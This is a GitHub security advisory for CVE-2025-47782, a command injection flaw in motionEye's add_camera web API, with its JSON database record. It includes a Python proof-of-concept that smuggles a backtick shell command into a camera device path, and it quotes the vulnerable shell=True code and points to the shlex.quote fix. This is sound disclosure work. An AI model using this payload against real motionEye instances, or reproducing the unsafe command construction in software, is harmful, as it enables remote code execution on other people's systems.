GHSA-g5mq-prx7-c588
Vulnerability from github
Published
2025-05-15 16:10
Modified
2025-05-15 16:10
Summary
motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
Details

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

  1. post
  2. add_camera
  3. config.add_camera
  4. v4l2ctl.list_resolutions
  5. utils.call_subprocess
  6. subprocess.run

PoC

build

```sh RUN_USER="user" RUN_UID=$(id -u ${RUN_USER}) RUN_GID=$(id -g ${RUN_USER}) TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \ --network host \ --build-arg="RUN_UID=${RUN_UID?}" \ --build-arg="RUN_GID=${RUN_GID?}" \ -t "${USER?}/motioneye:${TIMESTAMP}" \ --no-cache \ -f docker/Dockerfile . ```

reproduce

Run: sh docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye console bash-4.2$ docker logs ceb435eacf55 -f configure_logging cmd motioneye: False configure logging to file: None INFO: hello! this is motionEye server 0.43.1b3 DEBUG: found motion executable "/usr/bin/motion" version "4.7.0" DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1" DEBUG: listing config dir /etc/motioneye... DEBUG: found camera with id 1 DEBUG: reading camera config from /etc/motioneye/camera-1.conf... DEBUG: loading additional config structure for camera, without separators DEBUG: Using selector: EpollSelector DEBUG: searching motion executable DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0" INFO: cleanup started INFO: wsswitch started INFO: tasks started INFO: mjpg customer garbage collector has started INFO: server started Now, run the following script to attack motionEye: ```python import requests import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({ "proto": "v4l2", "path": "' touch /tmp/bbbb '" }) headers = { 'Content-Type': 'application/json' }

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text) ```

Image

Image

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability ```python def list_resolutions(device): from motioneye import motionctl

device = utils.make_str(device)

if device in _resolutions_cache:
    return _resolutions_cache[device]

logging.debug(f'listing resolutions of device {device}...')

resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')

try:
    output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
    logging.error(f'failed to list resolutions of device "{device}"')

output = utils.make_str(output)

def call_subprocess( args, stdin=None, input=None, stdout=subprocess.PIPE, stderr=DEV_NULL, capture_output=False, shell=False, cwd=None, timeout=None, check=True, encoding='utf-8', errors=None, text=None, env=None, ) -> str: """subprocess.run wrapper to return output as a decoded string""" return subprocess.run( args, stdin=stdin, input=input, stdout=stdout, stderr=stderr, capture_output=capture_output, shell=shell, cwd=cwd, timeout=timeout, check=check, encoding=encoding, errors=errors, text=text, env=env, ).stdout.strip() ```

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

https://github.com/motioneye-project/motioneye/issues/3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:10:48Z",
    "nvd_published_at": "2025-05-14T16:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n  --network host \\\n  --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n  --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n  -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n  --no-cache \\\n  -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm  -d   -p 8765:8765   --hostname=\"motioneye\"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n    INFO: hello! this is motionEye server 0.43.1b3\n   DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n   DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n   DEBUG: listing config dir /etc/motioneye...\n   DEBUG: found camera with id 1\n   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n   DEBUG: loading additional config structure for camera, without separators\n   DEBUG: Using selector: EpollSelector\n   DEBUG: searching motion executable\n   DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n    INFO: cleanup started\n    INFO: wsswitch started\n    INFO: tasks started\n    INFO: mjpg customer garbage collector has started\n    INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n  \"proto\": \"v4l2\",\n  \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n  \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n    from motioneye import motionctl\n\n    device = utils.make_str(device)\n\n    if device in _resolutions_cache:\n        return _resolutions_cache[device]\n\n    logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n    resolutions = set()\n    output = b\u0027\u0027\n    started = time.time()\n    cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n    logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n    try:\n        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n    except:\n        logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n    output = utils.make_str(output)\n\ndef call_subprocess(\n    args,\n    stdin=None,\n    input=None,\n    stdout=subprocess.PIPE,\n    stderr=DEV_NULL,\n    capture_output=False,\n    shell=False,\n    cwd=None,\n    timeout=None,\n    check=True,\n    encoding=\u0027utf-8\u0027,\n    errors=None,\n    text=None,\n    env=None,\n) -\u003e str:\n    \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n    return subprocess.run(\n        args,\n        stdin=stdin,\n        input=input,\n        stdout=stdout,\n        stderr=stderr,\n        capture_output=capture_output,\n        shell=shell,\n        cwd=cwd,\n        timeout=timeout,\n        check=check,\n        encoding=encoding,\n        errors=errors,\n        text=text,\n        env=env,\n    ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
  "id": "GHSA-g5mq-prx7-c588",
  "modified": "2025-05-15T16:10:48Z",
  "published": "2025-05-15T16:10:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...
  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.